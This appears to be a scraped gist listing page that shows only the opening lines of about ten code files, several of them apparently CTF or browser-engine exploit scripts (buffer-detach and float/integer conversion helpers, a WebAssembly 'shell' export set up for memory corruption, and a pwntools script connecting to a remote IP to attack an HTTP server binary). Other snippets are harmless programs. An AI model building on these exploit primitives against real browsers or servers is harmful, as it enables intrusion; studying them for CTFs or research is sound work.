This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function free(buf) | |
{ | |
%ArrayBufferDetach(buf.buffer); | |
} | |
function u64(buf) | |
{ | |
let x = BigInt(0); | |
for(i=0;i<8;++i) | |
x += BigInt(buf[i]) << BigInt(i*8); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdbool.h> | |
#define stype unsigned long long | |
struct list { | |
struct list *prev; | |
stype val; | |
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdint.h> | |
#define SIZE 0x10000 | |
#define Type int64_t | |
#define printArray(arr, size) printf("["); \ | |
for(int z=0;z<size;++z) { \ | |
if(z != size-1) \ | |
printf("%lli, ", arr[z]); \ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let a = null; | |
let b = null; | |
let collisions = 0; | |
let digits = 6; | |
let steps = Math.pow(10, digits); | |
class Block { | |
constructor(x, mass, velocity) { | |
this.x = x; | |
this.y = windowHeight*0.9; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var buf = new ArrayBuffer(8); | |
var f64_buf = new Float64Array(buf); | |
var u64_buf = new Uint32Array(buf); | |
var arraybuf = new ArrayBuffer(0x13373); | |
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108, 0, 0, 10, 4, 1, 2, 0, 11]); | |
var mod = new WebAssembly.Module(wasm_code); | |
var wasm_instance = new WebAssembly.Instance(mod); | |
var shell = wasm_instance.exports.shell; | |
var obj_array = [1337331,1337332,1337333,1337334,wasm_instance,wasm_instance,1337336,1337337]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import threading | |
from requests import get, post | |
import time | |
e = ELF('./rhttpd') | |
libc = ELF('./libc.so.6') | |
HOST = '54.176.255.241' | |
p = remote(HOST, 54321) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from os import pipe, fork, dup2, execve, close, read, write | |
import sys | |
import threading | |
class process: | |
def __init__(self, path, env={}): | |
self.inp = input | |
if sys.version[0] == '2': self.inp = raw_input | |
self.version = int(sys.version[0]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <unistd.h> | |
#include <sys/prctl.h> | |
#include <string.h> | |
#include <stdlib.h> | |
#include <sys/types.h> | |
#include <signal.h> | |
#include <stdint.h> | |
#include <assert.h> | |
#include <stdbool.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var buf = new ArrayBuffer(8); | |
var f64_buf = new Float64Array(buf); | |
var u64_buf = new Uint32Array(buf); | |
function ftoi(val) { | |
f64_buf[0] = val; | |
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); | |
} | |
function itof(val) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<body> | |
</body> | |
<script> | |
var buf = new ArrayBuffer(8); | |
var f64_buf = new Float64Array(buf); | |
var u64_buf = new Uint32Array(buf); | |
let buf2 = new ArrayBuffer(0x150); | |
function ftoi(val) { |
OlderNewer